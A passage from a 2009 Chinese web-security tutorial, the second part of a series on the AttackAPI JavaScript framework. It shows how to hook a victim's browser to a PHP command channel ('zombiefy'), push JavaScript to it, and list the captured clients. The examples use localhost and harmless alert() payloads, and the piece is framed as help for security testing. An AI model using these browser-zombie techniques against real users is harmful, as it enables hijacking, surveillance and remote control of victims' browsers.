精通JavaScript攻击框架:AttackAPI(下)
2009-02-13 13:55:12 来源:WEB开发网三、傀儡机器的控制
AttackAPI不仅提供了便于监视受害者的活动、收集受害者的敏感信息并且攻击他们的内部网络的机制,它提供的机制还很多,例如,我们还能够控制他们的用户体验。
AttackAPI程序包具有一个专门的目录,称为inf ,它用来存放所有基础设施档案。到目前为止,该目录中仅有一个文件即channel.php。AttackAPI的channel.php文件是一个PHP脚本,用以建立和管理在攻击者和他们的受害者之间的双向通信。
您可以扩展这个脚本,比如通过添加自己的后端来储藏和操纵受害者的会话等,但是这不是本文的讨论主题。要了解更多信息,请访问AttackAPI项目页面:www.gnucitizen.org/projects/AttackAPI。为了使用channel.php,我们必须把它放在一个支持PHP4或更高版本的主机上。同样,可以使用AppServ来达到此目的。
从firetest-interactive.htm页面中打开Firebug控制台,并输入下列命令(将localhost改成存放channel.php文件的服务器的地址):
$A.zombiefy(‘http://localhost/channel.php’);
如果channel.php脚本位于localhost上,上面这行命令会把当前浏览器挂到一个攻击信道。现在打开另一个浏览器,并在其地址栏输入下列URL:
http://localhost/channel.php?action=push&message=alert(‘Hello!’)
不一会儿,将会看到一个警告信息框出现在傀儡机浏览器上,说“Hello!”。这意味着,今后攻击者可以向受害者发送命令,只要是他们在傀儡控制技术的作用范围内。俘虏一个客户端非常简单,但是要控制傀儡机就需要一些技巧了。AttackAPI提供了一些函数,专门解决这些麻烦事。您可以通过生成一个信道接口来很轻松地控制傀儡机:
var channel = $A.spawnChannel(‘http://localhost/channel.php’);
channel.push(‘alert(“Hi There!”)’);
channel.onenum = function (data) {
console.log(data);
}
channel.enum();
这段代码用具体例子说明了一个新的信道,它指向http://localhost/channel.php。可以使用下面的命令发送一个警告信息框:在脚本末尾处,我们将一个函数连到onenum处理程序上,并发出enum命令,这条命令将列出所有可用的客户端,及其环境设置。
四、小结
多年来客户端安全一直未引起人们的足够重视,但是如今情况发生了急剧转变,客户端安全已经成为信息安全领域的焦点之一。Web恶意软件、AJAX蠕虫、浏览历史暴破、登录检测、傀儡控制技术网络端口扫描以及浏览器劫持等各种技术只是安全研究人员地下实验室的部分技术,但是已经带来了非常大的影响。
一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。由于存在多种可能的攻击矢量,Web应用程序安全社区也建立了多个框架来探测、利用安全漏洞,从而揭示Web 开发社区所面临的种种问题。
我们在上篇向大家介绍了AttackAPI测试环境的搭设以及客户端踩点的方法进行了详尽的介绍,在本文中我们将对AttackAPI的其他用法做详尽的介绍,即利用它攻击网络、控制浏览器以及控制傀儡机。希望本文对读者的安全测试工作能够有所帮助。
Tags:精通 JavaScript 攻击
编辑录入:爽爽 [复制链接] [打 印]更多精彩
赞助商链接